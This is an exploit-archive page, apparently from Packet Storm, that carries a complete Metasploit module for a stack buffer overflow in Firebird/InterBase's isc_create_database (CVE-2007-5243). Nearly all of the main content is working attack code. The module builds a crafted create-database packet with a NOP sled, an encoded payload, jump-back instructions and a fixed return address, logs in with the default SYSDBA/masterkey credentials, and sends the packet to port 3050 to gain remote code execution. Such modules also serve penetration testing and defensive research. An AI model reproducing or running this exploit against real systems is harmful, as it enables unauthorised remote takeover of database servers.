exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Firebird Relational Database isc_create_database() Buffer Overflow

Firebird Relational Database isc_create_database() Buffer Overflow
Posted Nov 26, 2009
Authored by Ramon de C Valle, Adriano Lima | Site metasploit.com

This Metasploit module exploits a stack overflow in Borland InterBase by sending a specially crafted create request.

tags | exploit, overflow
advisories | CVE-2007-5243
SHA-256 | 7ad400608089f7047729b20b5b39242d6c9b2aa7f9014358c786fa3d52c6c287

Firebird Relational Database isc_create_database() Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::BruteTargets

def initialize(info = {})
super(update_info(info,
'Name' => 'Firebird Relational Database isc_create_database() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland InterBase
by sending a specially crafted create request.
},
'Version' => '$Revision$',
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38606' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Brute Force', { } ],
# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
[
'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
],
# Debug
[
'Debug',
{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
],
],
'DefaultTarget' => 1
))

register_options(
[
Opt::RPORT(3050)
],
self.class
)

end



# Create database parameter block
def dpb_create
isc_dpb_user_name = 28
isc_dpb_password = 29

isc_dpb_version1 = 1

user = 'SYSDBA'
pass = 'masterkey'

dpb = ''

dpb << [isc_dpb_version1].pack('c')

dpb << [isc_dpb_user_name].pack('c')
dpb << [user.length].pack('c')
dpb << user

dpb << [isc_dpb_password].pack('c')
dpb << [pass.length].pack('c')
dpb << pass

dpb
end

# Calculate buffer padding
def buf_padding(length = '')
remainder = length.remainder(4)
padding = 0

if remainder > 0
padding = (4 - remainder)
end

padding
end

def exploit_target(target)

target['Length'].each do |length|

connect

# Create database
op_create = 20

# Extra padding to trigger the exception
extra_padding = 1024 * 16

buf = ''

# Operation/packet type
buf << [op_create].pack('N')

# Id
buf << [0].pack('N')

# Length
buf << [length + extra_padding].pack('N')

# Nop block
buf << make_nops(length - payload.encoded.length - 13)

# Payload
buf << payload.encoded

# Jump back into the nop block
buf << "\xe9" + [-516].pack('V')

# Jump back
buf << "\xeb" + [-7].pack('c')

# Random alpha data
buf << rand_text_alpha(2)

# Target
buf << [target.ret].pack('V')

# Random alpha data
buf << rand_text_alpha(extra_padding)

# Padding
buf << "\x00" * buf_padding(length + extra_padding)

# Database parameter block

# Create database parameter block
dpb = dpb_create

# Database parameter block length
buf << [dpb.length].pack('N')

# Database parameter block
buf << dpb

# Padding
buf << "\x00" * buf_padding(dpb.length)

sock.put(buf)

sleep(4)

handler

end

end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close